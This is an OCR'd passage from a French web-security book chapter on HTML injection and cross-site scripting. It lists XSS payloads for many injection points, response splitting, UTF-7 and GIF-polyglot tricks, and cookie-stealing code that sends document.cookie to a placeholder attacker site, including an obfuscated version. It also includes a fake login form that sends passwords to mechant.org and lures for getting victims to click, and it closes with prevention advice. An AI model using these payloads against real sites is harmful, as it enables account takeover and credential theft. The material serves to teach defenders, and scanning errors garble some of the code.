possible que le code HTML resultant ait alors 1' allure suivante : 

<form input="text" name="p" value=" "><script>alert ( 1 )</script>"> 
Cette fois, les balises de debut et de fin de script ne sont plus confinees dans le parame- 
tre value du formulaire ; leur execution devient possible. 

Pour illustrer les nombreux emplacements susceptibles de permettre I'injection de 
donnees ou saisie utilisateur {user input en anglais), et comment proceder, examinons la 
requete HTTP suivante et la reponse associee, oil Ton retrouve des saisies utilisateur en 
dix endroits differents. Si un utilisateur emet la requete suivante : 

http : / /quelquepart . com/s?a1 =USER_INPUT1 &a2=USER_INPUT2&a3=USER_INPUT3& 
a4=USER_INPUT4&a5=USER_INPUT5&a6=USER_INPUT6&a7=USER_INPUT7& 
a8=USER_INPUT8&a9=USER_INPUT9&a1 0=USER_INPUT1 0 

Supposons que le serveur reponde ceci : 
HTTP/1 .1 200 OK 

Content-Type: text/html; charset=UTF-8 
Server: Apache 
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Cookie: toto=USERINPUT1 ; domain=quelquepart.com; 
Content-Length: 502 

<html> 

<head><title>Boniour USERINPUT2</title> 
<style> 

a {color:USERINPUT3} </style> 
<script> 

var a4 = "USERINPUT4" ; 
if (something. equals ( 'USERINPUT5' )) { 
alert ( ' something ' ) ; 

); 

} 

</script> 
<body> 

<a href="http: //quelquepart.com/USERINPUT6">cliquez sur moi</a> 

<a href = ' USERINPUT7 ' >cliquez sur moi aussi</a> 

<img src="http: //quelquepart .com/USERINPUT8"> 

<p onclick="window. open ( ' USERINPUT9 ' ) ">un paragraphe</p> 

<form> <input type="hidden" name="a" value="b"> 

<input type="submit" value=L)SERINPUT10></form> 

</body> 

</html> 

Chacune de ces saisies utilisateur est susceptible d'etre exploitee de bien des manieres. 
Nous donnons ci-apres quelques solutions pour injection du HTML avec chacune. 

La valeur USERINPUT1 est placee dans I'en-tete HTTP de cookie. Si un agresseur peut y 
placer des points-virgules (";")> il pourra modifier les controles de securite de ce cookie, 
ainsi que, probablement, d'autres proprietes. S'il est possible d'y inserer des retours a la 
ligne (\n, code %0d dans les URL) et/ou des retours chariot suivis de retours a la ligne 
(\r\n, code %0a%0d dans les URL), I'attaquant pourra inscrire de nouveaux en-tetes 
HTTP, ainsi que du code HTML. On appelle cette attaque division de la reponse HTTP. 
EUe permet 1' injection de HTML en proposant des chames comme celle qui suit : 

%0a%0d%0a%0d<script>alert (1 )</script> 

Les deux couples retour chariot puis retour a la ligne separent I'en-tete HTTP du corps 
HTTP. Le script, place dans ce dernier, sera done execute. 

Le champ USERINPUT2 apparait dans une balise de titre (title). IE n'y autorise certes pas 
les balises script, mais un attaquant capable d'injecter <script>alert(1 )</script> 
pourra tres certainement introduire la chaine : 

</title><script>alert (1 )</script> 
Cette astuce permet de sortir de la balise de titre. 

La valeur USER INPUTS etant situee dans une balise de styles, on pourrait proceder 
comme suit dans IE : 

black; background : url( ' JavaScript : alert ( 1 ) ' ) ; 
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Sous Firefox, ce qui suit fonctionnerait : 
1 :expression(alert(1 ) ) 

De maniere equivalente, les saisies utilisateur interviennent parfois dans des parametres 
de style precisant le rendu d'autres balises, comme suit : 

<div style= " background : url (USERINPUT3A) " ></div> 
Dans IE, la valeur suivante pour USERINPUT3A permettrait d'y executer du code JavaScript : 

JavaScript:alert(1 ) 
Les amateurs de Visual Basic pourront faire appel a ceci : 

vbscript:iVlsgBox(1 ) 

Firefox n'accepte pas dans background: url () des gestionnaires de protocole Java 
Script:, mais autorise I'execution de JavaScript dans exception (). Dans ce navigateur, 
un agresseur pourra done regler USERINPUT3A comme ceci : 

); 1 :expression(alert(1 ) 

Le cas d'USERINPUT4 est tres facile a exploiter ; il suffira d'y inscrire : 

";alert(1); 

Le champ USERINPUT5 est enchasse plus profondement dans le code JavaScript. Pour y 
inserer une fonction alert ( 1 ) susceptible d'etre executee, il faut la faire sortir de tous 
les blocs de code et s' assurer que le code JavaScript qui la precede et la suit est valide, 
comme ceci : 

)){}alert(1);if(0) 

Le texte devant la fonction alert ( 1 ) complete I'instruction et garantit la bonne execution de 
cette demiere a tous les coups. Le texte qui la suit cree une instiTiction poui^ la suite du bloc 
de code, de maniere a produire un code valide pour tout ce que renferme les balises script. 
A defaut, le code JavaScript ne serait pas interprete a cause d'une erreur de syntaxe. 

Plethore d'astuces permettent d'injecter du JavaScript dans USERINPUT6. Ceci pourra 
convenir : 

"><script>alert ( 1 )</script> 

Dans le cas oil les caracteres superieur et inferieur seraient interdits, un gestionnaire 
d'evenements JavaScript comme onclick conviendra : 

" onclick="alert(1 ) 
Plusieurs possibilites conviennent pour USER INPUT? : 

'><script>alert(1 )</script> 
Ou encore : 

' style='x:expression(alert(1 ) ) 
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Ou encore : 

JavaScript : alert ( 1 ) 

Les deux premieres suggestions s'assurent de I'execution du script lors du chargement de la 
page, tandis que la derniere impose d'abord que I'utilisateur clique sur le lien. On prendra 
I'habitude de toutes les tester, au cas ou certains caracteres ou chaines seraient interdits. Le 
champ USERINPUT8 prete lui aussi le flanc a des chaines d'injection de HTML comparables. 
Voici un choix interessant, qui emploie un gestionnaire d'evenements : 

notThere' onerror= ' alert ( 1 ) 

En general, on se premunit contre les attaques de type XSS en echappant ou encodant 
les caracteres potentiellement dangereux. Si un utilisateur propose <script>alert ( 1 ) 
</script> dans un champ de texte, le serveur pourra repondre par la chaine echappee 
suivante : 

&lt ; script&gt ; alert ( 1 ) &lt ; /script&gt ; 

En fonction de son emplacement, cette chaine apparaitrait comme la saisie originale, 
sans etre executee. L'echappement des chaines, extremement complexe, est detaille 
dans la section de contre-mesure, "Se premunir conti^e I'injection de donnees arbitraires". 
La plupart des fonctions d'echappement oublient d'echapper certains caracteres poten- 
tiellement dangereux ou choisissent un mauvais encodage. Le champ USERINPUT9 
presente ainsi un interet car les gestionnaires d'evenements de type on* interpretent les 
encodages d'entites HTML comme de I'ASCIL On pourrait done monter les memes 
attaques en employant les deux chaines suivantes : 

x' ) ;alert(1 ) ; 

et 

x&#39;&#41 ; ;alert(1&#41 ; 

Finalement, on exploitera USERINPUT10 a I'aide de gestionnaires d'evenements et en 
sortant de la balise de saisie input. Voici un exemple : 

X onclick^alert ( 1 ) 

Cet exemple montre que Ton trouve potentiellement des chaines proposees par I'utilisateur 
n'importe oil dans les reponses HTTP. La liste des possibilites semble done infinie. 

Si Ton parvient a realiser une injection de HTML sur I'une quelconque de ces instan- 
ces, celle-ci pourra servir a mener des attaques de type XSS partout sur le domaine 
conceme. II existe bien des manieres d'injecter du JavaScript dans les applications web. 
Toute tentative corrompant le format de la page (soit en la tronquant, ou encore en affi- 
chant un autre script que le code insere) indique probablement la presence d'une attaque 
XSS qu'il faut encore travailler un peu. 
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w Injection de HTML reflate dans les redirecteurs 

Les redirecteurs constituent un autre emplacement de choix pour 1' injection de HTML. 
Certains permettent a I'utilisateur de renvoyer sur n'importe quelle URL. Malheureuse- 
ment, JavaScript : alert (1 ) constitue une adresse valide. De nombreux redirecteurs 
analysent I'URL pour savoir si celle-ci est sure. Ces algorithmes et leurs programmeurs 
ne brillant pas toujours par leur astuce, des URL comme ceci : 

JavaScript : / / www. quelquepart . coni/%0dalert ( 1 ) 
ou encore : 

JavaScript : / /http : / /www. siteDeConf iance . com/ repertoireDeConf iance/%0dalert ( 1 ) 

seront parfois acceptees. Dans ces exemples, on peut placer n'importe quelle chame 
entre la double barre oblique (//) introduisant un commentaire en JavaScript et le 
passage a la ligne code dans I'URL (%0d). 

W Injection de HTML dans les applications nomades 

Certaines applications web populaires proposent des versions mobiles. Elles disposent 
generalement des memes fonctionnalites, prevoient moins de mesures de securite, tout 
en restant accessibles a des navigateurs comme IE et Firefox. C'est done un terrain de 
chasse ideal pour decouvrir des attaques par injection de HTML ou forger des requetes 
inter-sites (lesquelles seront evoquees au Chapitre 4). 

Les applications mobiles etant generalement hebergees sur le meme domaine que 
I'application web principale, y injecter du code HTML donnera acces a I'ensemble du 
domaine, et notamment I'application web principale ou toute autre application web 
hebergee au meme endroit. 

W Injection de HTML dans les reponses AJAX et dans les messages d'erreur 

Toutes les reponses HTTP n'ont pas vocation a etre presentees a I'utilisateur. Certaines 
pages, telles que les reponses de type Asynchronous JavaScript and XML (AJAX) ou 
encore les messages d'erreur HTTP, sont souvent oubliees par les programmeurs. A 
quoi bon proteger les reponses AJAX contre les injections de HTML ? Apres tout, leurs 
requetes ne sont pas supposees etre manipulees directement par les utilisateurs. Cepen- 
dant, un agresseur pourra reproduire le comportement de requetes AJAX GET et POST a 
I'aide d'extraits de code notes auparavant. 

De la meme maniere, les developpeurs, pour qui tout releve du code HTTP 200 (OK), 
negligent souvent les reponses d'erreur HTTP comme le code HTTP 404 (ressource 
non trouvee ou Not Found), le code HTTP 502 (erreur serveur ou Server Error). Cela 
vaut done la peine de tenter de declencher d'autres reponses que le code HTTP 200, et 
d'y injecter des scripts. 
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Injection de HTML a I'aide de codages UTF-7 

Si un utilisateur a active dans IE la selection automatique du codage (sous le menu Affi- 
chage I Codage I Selection automatique), un attaquant pourra eviter la plupart des 
mesures de protection contre I'injection de HTML. On I'a deja signale, ces techniques 
s'appuient souvent sur I'echappement des caracteres potentiellement dangereux. 
Cependant, le codage UTF-7 emploie des caracteres anodins, generalement non echap- 
pes, ou impossibles a echapper dans certaines applications web. La version echappee en 
UTF-7 de la chame <script>alert ( 1 )</script> se presente ainsi comme suit : 

+ADw- sc ript+AD4- ale rt ( 1 ) +ADw- / sc ript +AD4- 

Cette attaque toutefois peu frequente ; les utilisateurs n'activent generalement pas cette 
option dans leur page de profil. II existe d'autres attaques par codage UTF s'appuyant 
sur la longueur variable des codes representant les divers caracteres, mais elles impo- 
sent une bonne connaissance d'UTF et sortent done du cadre de cet ouvrage. Ce 
probleme souligne toutefois le danger de ne pas prendre en compte les autres codages 
ou le type MIME, negligence pouvant mener a une injection de HTML. 

Injection de HTML s'appuyant sur un type MIME ne correspondant pas a 
son contenu 

IE recele de nombreux comportements aussi surprenants que non documentes. Par 
exemple, dans sa version 7 et les precedentes, si ce navigateur tente en vain de charger 
une image ou d'autres reponses non exprimees en HTML, il traitera le resultat comme 
du HTML. Pour s'en apercevoir, il suffit de creer un document renfermant ceci : 

<script>alert(1 )</script> 

que Ton sauvegardera sous le nom alert.jpg. Charger cette "image" dans IE a partir de 
la barre d'adresse ou d'une iframe resultera dans I'execution du code JavaScript qu'elle 
contient. Soulignons que cette methode ne fonctionne pas en cas de chargement du 
fichier depuis une balise d'image. 

En general, si Ton tente de mettre en ligne un tel fichier en tant qu'image sur un service 
d'hebergement d'images sur le web, il sera refuse faute de representer veritablement 
une image. Pour determiner le format de 1' image, ces hebergeurs ne tiennent generale- 
ment pas compte de I'extension de fichier, pour se concentrer sur le numero magique 
(c'est-a-dire les premiers octets) qui le debute. Un agresseur pourra contourner cette 
mesure de protection en creant une image GIF renfermant du code HTML dans son 
champ de commentaire, qu'il sauvegardera en precisant I'extension de fichier .jpg. 
Voici ce que cela donne sur une image GIF d'un seul pixel : 

00000000 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff |GIF89a | 

00000010 ff ff ff 21 fe 19 3c 73 63 72 69 70 74 3e 61 6c | ...!.. <script>al | 

00000020 65 72 74 28 31 29 3c 2f 73 63 72 69 70 74 3e 00 | ert ( 1 )</script> . | 

00000030 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b | , D- ■ ; I 
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Appeler ce fichier test.jpg et le charger dans IE fera executer le code JavaScript. C'est 
aussi une maniere tres pratique de tenter d'injecter du Flash a travers les politiques de 
domaine. II suffit de placer le contenu XML de la politique de securite Flash dans le 
commentaire GIF et de s' assurer que le fichier GIF ne renferme aucun caractere ASCII 
etendu ou autres octets nuls. 

Dans le cas de formats d' images non compresses comme XPM et BMP, on peut encore 
injecter du HTML dans la section de donnees du fichier (et non dans son commentaire). 

Injection de HTML avec Flash 

Dans la plupart des scenarios, un agresseur peut injecter le code HTML de son choix. 
L'attaquant poun^ait ainsi inserer un objet et/ou enchasser une balise qui chargerait une 
application Flash dans ce domaine. Voici un exemple : 

<obiect width="1" height="1"> 
<param name="allowScriptAccess" value=" always "> 
<param name="allownetworking" value="all"> 
<param name="movie" value=" http : / /mechant . com/mechant . swf "> 
<embed allownetworking="all" allowScriptAccess=" always" 

src="http: / /mechant . com/mechant . swf " width="1 " height="1 "> 
</embed> 

</obi ect> 

Voila un code HTML un peu maladroit, mais qui donnera a une application Flash le 
meme controle que celui dont dispose une application JavaScript : lire des cookies (a 
travers la classe Externallnterf ace), changer I'apparence de la page web (toujours 
a travers la classe Externallnterf ace), lire les donnees privees de I'utilisateur (a 
travers la classe XML) et realiser des requetes HTTP au nom de la victime (toujours 
a travers la classe XML). 

Cependant, les applications Flash proposent parfois d' autres fonctionnalites. Files 
peuvent par exemple creer des connexions brutes par socket (a travers la classe Socket). 
Cela permet a l'attaquant de forger entierement ses propres paquets HTTP (reprenant 
les cookies detournes avec la classe Externallnterf ace), ou encore de se connecter sur 
d' autres ports, sur des ordinateurs autorises. Soulignons que la connexion de la classe 
Socket ne peut realiser des connexions que vers le domaine d'origine du script 
malveillant, a moins que 1' agresseur n'ait egalement reflete une politique inter-domaines 
non securisee pour mener a bien cette attaque. 

Certains developpeurs protegent les reponses AJAX contre 1' injection de HTML en y 
imposant le type MIME text /plain, ou tout au moins, un type qui differe en tout cas 
de text /html. En effet, I'injection de HTML ne peut fonctionner que si le navigateur 
interprete la reponse comme ecrite dans ce langage. Cependant, Flash ne se preoccupe 
pas du type MIME accompagnant le fichier de politique inter-domaines. L' agresseur 
pourrait done potentiellement employer la reponse AJAX pour refleter un fichier de 



Chapitre 2 



Injection de donnees arbitraires dans un site web 55 



politique inter-domaines non securise. De cette maniere, une application Flash 
malveillante pouiTa emettre des requetes vers 1' application web vulnerable au nom de la 
victime, lire des pages de son choix sur ce domaine, et creer des connexions de type 
socket vers ce domaine. II s'agit d'un type d'attaque un peu plus faible car I'application 
Flash malveillante ne pourra pas detourner des cookies (ce qui ne I'empechera nuUe- 
ment de realiser n'importe quelle action au nom de I'utilisateur), ni reproduire le 
comportement de I'application aupres de sa victime (a morns de renvoyer celle-ci vers 
un domaine controle par I'agresseur). 

Cependant, Taction de loin la plus malveillante que Ton puisse realiser par injection de 
HTML consiste a imiter le comportement de la victime aupres de I'application web. 
Pour cela, on peut refleter un fichier de politique inter-domaines non securise, puis 
employer la classe XML d' ActionScript pour emettre des requetes HTTP GET et POST afin 
d'en lire les reponses. La section suivante se penche sur le degre de nuisance qu'une 
attaque peut atteindre. 

Deuxieme etape : nuire 

Une attaque de type XSS porte sur un utilisateur d'une application web qui donne a 
I'agresseur le controle complet de celle-ci en tant que celui-la, quand bien meme cette 
application lui serait inaccessible directement car placee derriere un pare-feu. En gene- 
ral, XSS ne compromet pas directement la machine de I'utilisateur ni le serveur de 
I'application web. En cas de succes, I'attaquant dispose de trois possibilites : 

■ detourner des cookies ; 

■ imiter le comportement de I'application web aupres de la victime ; 

■ imiter le comportement de la victime aupres de I'application web. 

Detournement des cookies 

Les cookies embarquent generalement des laissez-passer (numeros de session) pour des 
applications web. Si un attaquant detourne les cookies de sa victime, il pourra les 
employer pour prendre le controle total de son compte. On recommande en general de 
faire expirer les cookies apres un certain laps de temps, aussi I'agresseur ne pouiTa-t-il 
acceder au compte de la victime que durant cet intervalle. Le code suivant permet de 
detourner des cookies : 

var x=new Image ( ) ; x . src= ' http : / /siteAgresseur . com/mangePlusDeCookies?c= ' 
+document . cookie; 

ou encore 

document .write ( "<img src= ' http : / /siteAgresseur . com/mangePlusDeCookies "+ 
"?c="+document.cookie+" '>") ; 



56 Partie I 



Attaques contre le Web 2.0 



Si certains caracteres sont interdits, on convertira ces chaines en leur representation 
ASCII decimale avant d'employer la fonction String . charFromCode ( ) de JavaScript. 
Le code suivant correspond ainsi a I'extrait precedent : 

eval (St ring. CharFromCode (11 8, 97, 11 4, 32, 120, 61 , 1 1 0, 1 01 , 1 1 9,32 , 73, 1 09, 
97 , 1 03 , 1 01 , 40 , 41 , 59 , 1 20 , 46 , 1 1 5 , 1 1 4 , 99 , 61 , 39 , 1 04 , 1 1 6 , 1 1 6 , 1 1 2 , 58 , 47 , 47 , 
115,105,116,101 ,65,103,114,101 ,115,115,101 ,117,114,46,99,111 ,109,47, 
1 09 , 97 , 1 1 0 , 1 03 , 1 01 , 80 , 1 08 , 1 1 7 , 1 1 5 , 68 , 1 01 , 67 , 1 1 1 , 1 1 1 , 1 07 , 1 05 , 1 01 , 1 1 5 , 
63 , 99 , 61 , 39 , 43 , 1 00 , 1 1 1 , 99 , 1 1 7 , 1 09 , 1 01 , 1 1 0 , 1 1 6 , 46 , 99 , 1 1 1 , 1 1 1 , 1 07 , 1 05 , 
101,59)); 

Attaques par hameqonnage 

Un agresseur pouiTa employer XSS dans un cadre d'ingenierie sociale, en imitant 
aupres de I'utilisateur le comportement de 1' application web. S'il reussit sa manoeuvre, 
il controlera totalement I'apparence de celle-ci. Parfois, il choisira de vandaliser le site 
web, en y mettant en ligne une image idiote (1' illustration Stall0wn3d' est un choix 
frequent). 

La chame d'injection de HTML pour un tel type d'attaque se resumera a ceci : 

<script>document . body . innerHTML="<img src=http : / /mechant .org/ 
stallownSd . j pg>" ; 
</script> 

Cependant, il existe des manieres plus lucratives d'exploiter une telle prise de controle 
que de se contenter d'afficher une image d'un gout douteux de Sylvester Stallone. Un 
attaquant realisant un hamegonnage (phishing) pourra contraindre I'utilisateur a lui 
fournir des informations confidentielles. En faisant appel a document . body . innerHTML, 
un attaquant pourra presenter une page de connexion en tout point identique a celle de 
I'application web prise pour cible, et provenant du domaine souffrant de I'injection de 
HTML. Cependant, lors de la validation du formulaire, les donnees - et notamment 
I'identifiant et le mot de passe naivement saisis par la victime - seront transmises au 
site choisi par I'agresseur. Un code proche de ce qui suit pourra s'acquitter d'une telle 
tache : 

document. body. innerHTML="<h1>Connexion sur Societe</h1 ><f orm 
action=http: / / mechant . org /detour neWlotsDePasse method=get> 
<p>User name:<input type=text name=u><p>Mot de passe<input type=password 
name=p><input type=submit name=login></f orm>" ; 

Astuce elementaire sous-tendant cette technique : le formulaire etant transmis par une 
requete GET, il n'est meme pas necessaire d'ecrire la page detourneMotsDePasse - les 
requetes s'inscriront d'elles-memes dans le journal d'erreurs {error log) du serveur 
web, oil il sera facile de les retrouver. 



1. N.D.T. : Jeu de mots entre le nom "Stallone" et le mot owned, que Ton peut traduire par "Je t'ai 
eu !", ou, plus precisement dans le monde du hacking, par "Je t'ai pirate !". 
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Imitation de la victime 

Le plus grand impact des attaques de type XSS sur les applications web, c'est la possi- 
bilite pour I'agresseur d'imiter le comportement de 1' utilisateui; Voici quelques exemples 
d' application de cette technique, en fonction de 1' application web. 

■ Dans une application de courrier electronique (webmail), I'attaquant pourra : 

• envoy er des messages au nom de I'utilisateur ; 

• prendre connaissance de la liste de contacts de I'utilisateur ; 

• modifier les reglages automatiques de copie carbone cachee (Bcc) ; il pourra ainsi 
recevoir automatiquement un exemplaire de tous les messages expedies a partir 
de cet instant ; 

• modifier les reglages de confidentialite ou de connexion. 

■ Dans le cadre d'une application de messagerie instantanee ou de chat (clavardage), 
I'agresseur dispose d'une autre panoplie de possibilites : 

• prendre connaissance de la liste des contacts ; 

• expedier des messages aux contacts ; 

• ajouter ou detruire des contacts ; 

■ Si r application web traite d'un systeme bancaire ou financier, I'attaquant pourra : 

• transferer des fonds ; 

• demander des cartes de credit ; 

• changer d'adresses ; 

• acheter des cheques. 

■ Sur un site de commerce electronique, I'agresseur aura la possibilite de : 

• faire des achats. 

Lors de 1' analyse de I'impact des attaques de type XSS sur un site, imaginez tout ce que 
I'agresseur pouiTait faire s'il avait le controle de la souris et du clavier de la victime. Pensez 
aux mauvaises actions susceptibles d'etre reahsees sur I'rntranet de la victime a partir de 
son ordinateur. 

Afin d'imiter le comportement de I'utilisateur, I'agresseur devra decouvrir le fonction- 
nement de 1' application web. Parfois, il suffit de lire le code source de ses pages, mais 
la meilleure methode consiste souvent a s'appuyer sur un mandataire (proxy) web tel 
que Burp Suite, WebScarab ou Paws Proxy. Ces programmes interceptent tout le trafic 
circulant entre navigateur web et serveur web, dans les deux sens, sans oublier le 
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protocole HTTPS. II est possible d'enregistrer des sessions pour comprendre la maniere 
dont r application web communique avec son serveur, afin de mieux I'imiter. D' autre 
part, les mandataires s'averent des allies precieux dans la quete d'attaques de type XSS 
et autres points faibles dans les cuirasses des applications. 

Vers XSS 

Les applications web creant des groupes de gens (webmail, reseaux sociaux, salons de 
discussion, jeux video a plusieurs, casinos ou tout ce qui implique une interaction avec 
I'utilisateur et lui fait emettre ou recevoir des informations de ses pairs) pretent le flanc aux 
vers XSS. Ce type de programme exploite les fonctionnalites existantes dans 1' application 
web pour se repandre. Dans le cas du courrier electronique, I'agresseur prenant virtuel- 
lement le controle du clavier et de la souris de sa victime pourra inonder de messages 
toute sa liste de contacts. Le code XSS s'activera des que I'un d'entre eux cliquera sur un 
lien menant vers I'injection de HTML, declenchant ainsi le script. Ce dernier, a son tour, 
inspectera la liste des connaissances de la victime et enveixa des couixiers a chacune d'entre 
elles. Chaque personne recevant une demande d'une source de confiance (la victime), elle 
y accordera du credit et cliquera plus probablement sur le lien. Cette action la transforme 
alors en victime, et le cycle reprend avec sa propre liste de contacts. 

Les vers XSS se repandent extremement vite, infectant de nombreux utilisateurs en un 
court laps de temps et provoquant d'enormes volumes de trafic sur le reseau. Cette tech- 
nique est egalement efficace pour vehiculer d' autres types d'attaque, comme le hame- 
fonnage (phishing). De maniere interessante, les agresseurs incorporent parfois aux 
applications web des contenus HTML caches executant plethore d'attaques contre les 
navigateurs. Tout utilisateur n'employant pas un logiciel de la derniere version, corri- 
geant toutes les failles connues et publiees pourra voir I'attaquant prendre le controle 
complet de sa machine. Dans ce cas de figure, XSS permet de mettre a mal un autre 
type de vulnerabilite. 

Troisieme etape : attirer la victime 

Vous savez maintenant comment decouvrir une injection de HTML et quelles horribles 
choses un attaquant peut realiser s'il obtient de quelqu'un qu'il clique sur le lien menant a 
I'injection. Parfois, celle-ci surviendra lors d'une interaction classique avec I'utilisateur ; il 
s'agit des methodes les plus efficaces. Cependant, I'attaquant doit souvent obtenir d'un 
visiteur du Web qu'il clique sur le lien d'une injection de HTML pour declencher son 
attaque. Dans cette section, nous evoquons brievement comment I'y pousser. 

Imaginons-nous un instant dans la peau d'un agresseur. Supposons que Ton a decou- 
vert une injection de HTML a I'adresse http: //moteur.de. recherche. coni/search?p= 
<script>alert (1 )</script> et que Ton a ecrit un script malveillant al'adresse 
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http://mechant.org/ni.js. II suffit desormais d'obtenir de victimes naives qu'elles 
cliquent sur ce lien : 

http: //moteur.de. recherche. com/search?p= 

<script src=http: //mechant.org/m. is></script> 
Un nombre effarant de personnes cliquera sans difficulte sur ce genre de liens, mais les 
utilisateurs les plus au fait des pieges de I'lnternet y remarqueront rapidement quelque 
chose de louche. II faut done transformer ce lien et attirer la victime en lui faisant miroiter 
autre chose. 

Maquillage des liens d'injection de HTML 

Diverses methodes permettent de masquer des liens : balises d'ancrage, sites raccour- 
cissant les URL, blogs et sites web controles par I'agresseur. 

La premiere idee est toute simple : la plupart des applications web inserent automati- 
quement des balises d'ancrage autour des URL par souci d'ergonomie, pour les rendre 
cliquables. Si I'attaquant peut ecrire ses propres hyperliens, comme dans le cas d'une 
application de webmail, il pourra fa9onner un lien comme celui qui suit : 

<a href =" http : / /moteur. de . recherche . com/search?p=<script>alert ( 1 ) 
</script>">http: / /bonSite . com/chatonsMignons . jpg</a> 

Ce lien apparaitra sous la forme http: / /bonSite . com/chatonsMignons . j pg, mais une 
victime cliquant dessus sera emmenee sur I'injection de HTML. 

Les services raccourcissant les URL (citons TinyURL, YATUC, ipulink.com, get- 
shorty.com, tous les sites implementant ce dernier, etc.) transforment de longues adresses 
en codes tres court. Pour cela, ils associent la premiere a une URL plus courte, qui y 
renvoie. 

L'URL courte masque la plus longue, et meme les utilisateurs plus experimentes de 
I'lnternet la cliqueront plus volontiers. On peut ainsi associer cette URL peu discrete, 
signalant assez evidemment une injection de HTML : 

http: / /search . engine. com /search? p=<script>alert ( 1 )</script> 

a une adresse plus anodine comme celle que voici : 

http: //tinyurl.com/2optv9 

Les plus habitues du reseau ont appris a se mefier des sites raccourcissant les URL, 
comme TinyURL. On pourra done convaincre ces derniers de cliquer a I'aide d'autres 
services moins connus ou creer sa propre page web a 1' aide du code suivant : 

<script> 

document . location = 

"http: //moteur.de. recherche .com/ search?p=<script>alert (1 )</scr"+"ipt>" ; 
</script> 
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C'est volontairement que la balise fermante </script> est divisee ; certains naviga- 
teurs interpretent en effet les chames JavaScript comme du HTML avant d'executer le 
code correspondant. Pour les injections de HTML par requete de type POST, on pourra 
ecrire le code qui suit : 

<html> 
<body> 

<!-- un element de diversion, comme un chaton mignon --> 

<img src=chatonlVlignon . i pg> 

<!-- et une injection de HTML --> 

<f orm action="http : / /moteur . de . recherche . com/ search" method="POST" 
name="f ormulaireMalveillant "> 

<input type="hidden" name="p" value="<script>alert(1 )</script>"> 
</f orm> 
<script> 

document . f ormulaireMalveillant . submit ( ) 

</script> 

</body> 

</html> 

On place alors ce code sur son propre site web ou sur son blog. 

Notre technique preferee pour masquer les liens douteux consiste a exploiter le 
probleme d'lE en matiere de types MIME ne correspondant pas a leur contenu. Pour 
cela, on pourra creer un fichier texte appele chatonMignon . j pg renfermant ce qui suit : 

<iframe style="display:none" 

src=" http : / /moteur . de. recherche. com/search?p=<script>alert ( 1 ) "></if rame> 
<img src="quelqueChatonMignon . i pg"> 

On placera le fichier chatonMignon . j pg en ligne, disons a I'adresse http : / /quelque 
part.com/chatonMignon. jpg. Quand un utilisateur cliquera sur ce lien, IE constatera 
que le fichier chatonMignon . j pg n'abrite pas une image et I'interpretera done comme 
du HTML. Consequence : affichage de I'image quelqueChatonMignon . jpg - endormant 
la mefiance - tout en menant une injection de HTML en arriere-plan. 

Enfin, un attaquant pourra se contenter d'enregistrer un nom de domaine d'apparence 
respectable pour y heberger I'injection de HTML. A I'heure oil nous ecrivons ces 
lignes, plusieurs domaines qui sembleront tout a fait corrects a des yeux anglophones 
restent disponibles sur le marche : googlesecured.com, gfacebook.net, bankofa 
america. net, et safe wamu.com'. 

Incitation a cliquer sur les injections de HTML 

II ne suffit plus de parler de "pornographic gratuite" (free pom) ou de "Viagra pas cher" 
(Cheap Viagra) pour attirer le chaland. Desormais, les attaquants incitent simplement 



L N.D.T. : Respectivement, "Google securise", "Facebook de Google", "Banque d'Amerique" et 
"mutuelle de Washington securisee". 
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leur victime a realiser une action anodine, comme cliquer sur le lien d'une depeche ou 
regarder un chaton mignon - exemple employe dans la section precedente. 

Prenons I'exemple de la periode des declarations d'impots. La plupart des contribua- 
bles recherchent des degrevements faciles. Les agresseurs, fins psychologues, en profi- 
teront pour inciter ceux-ci a cliquer sur leur piege : "Lisez cet article pour savoir 
comment vous faire rembourser la TVA cette annee : http: / /tinyurl. com/2ek7eat." 
Dans le cadre d'un ver XSS, ce conseil sera d'autant plus convaincant qu'il proviendra 
(semblera provenir) d'un ami ou d'une connaissance. 

Cependant, plus le texte accompagnant le lien est long, plus le risque de susciter la 
mefiance chez la victime augmented De nos jours, les messages les plus efficaces se 
contentent d'un simple lien, sans aucun commentaire. C'est alors la curiosite qui 
pousse les destinataires a cliquer. 

Prevention contre I'injection de donnees arbitraires 

Pour eviter les attaques de type XSS, les developpeurs traiteront avec un soin tout parti- 
culier les donnees fournies par les utilisateurs et renvoyees a ces derniers. On entend 
par donnees fournies par les utilisateurs toute information issue de quelque connexion 
reseau exteme et parvenant sur I'application web. II peut s'agir d'un identifiant utilisa- 
teur propose dans un formulaire HTML lors de la connexion, d'une requete AJAX 
d'arriere-plan censee provenir du code JavaScript programme par I'equipe, d'un cour- 
rier electronique, et meme des en-tetes HTTP. Toute donnee parvenant a I'application 
web en provenance d'une connexion reseau externe est potentiellement dangereuse. 

Pour toutes les donnees fournies par les utilisateurs et renvoyees a ceux-ci dans toutes 
les reponses HTTP - c'est le cas des reponses correspondant aux pages web et requetes 
AJAX (code de reponse HTTP 200), des erreurs de pages non trouvees (code 404), des 
erreurs cote serveur (comme le code 502), des redirections (code 302), etc., le deve- 
loppeur devra prendre I'une des mesures suivantes : 

■ echapper correctement les donnees pour eviter de les voir interpreter comme du 
HTML (dans le cas des navigateurs) ou du XML (pour Flash) ; 

■ supprimer tous caracteres ou chames susceptibles d'etre employes de maniere 
malveillante. 

Cette deuxieme solution gene en general I'ergonomie. Si un developpeur choisit ainsi 
de detruire tous les apostrophes (" ' "), les utilisateurs appeles "d'Abbeville" seront 
contraries de voir leur patronyme mal represente. 



1 . En particulier, le texte devra etre redige dans la langue habituelle d'echange entre les deux personnes. . . 
avec le bon niveau de langue et les formules d' introduction et de politesse appropriees. 
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Nous decourageons fortement les developpeurs de retirer les chames, car il existe bien 
des manieres de representer ces dernieres. D' autre part, des applications et des naviga- 
teurs differents seront susceptibles de les interpreter de manieres distinctes. Le ver 
Samy exploitait ainsi le fait qu'IE ne considere par les passages a la ligne comme des 
delimiteurs de mots - et confond done JavaScript et j av%0dascr%0dipt. Malheureu- 
sement, MySpace, qui faisait le choix oppose, a done autorise le code qui suit a apparaitre 
sur la page MySpace de Samy (et d'autres) : 

<div id="mycode" expr="alert( ' 1 ' ) " style="background:url( ' java 
script:eval(document.all.mycode.expr) ' ) "></div> 

Nous recommandons d'echapper toutes les donnees fournies par les utilisateurs et 
renvoyees a un navigateur web dans le cadre d'appels AJAX, d' applications nomades, 
de pages web, de redirections, etc. Malheureusement, cette operation n'est pas simple : 
selon r emplacement des donnees dans les reponses HTTP, il faudra recourir a un enco- 
dage d'URL, un encodage d'entite HTML ou un encodage JavaScript. 

Prevention contre les attaques XSS reposant sur UTF-7 

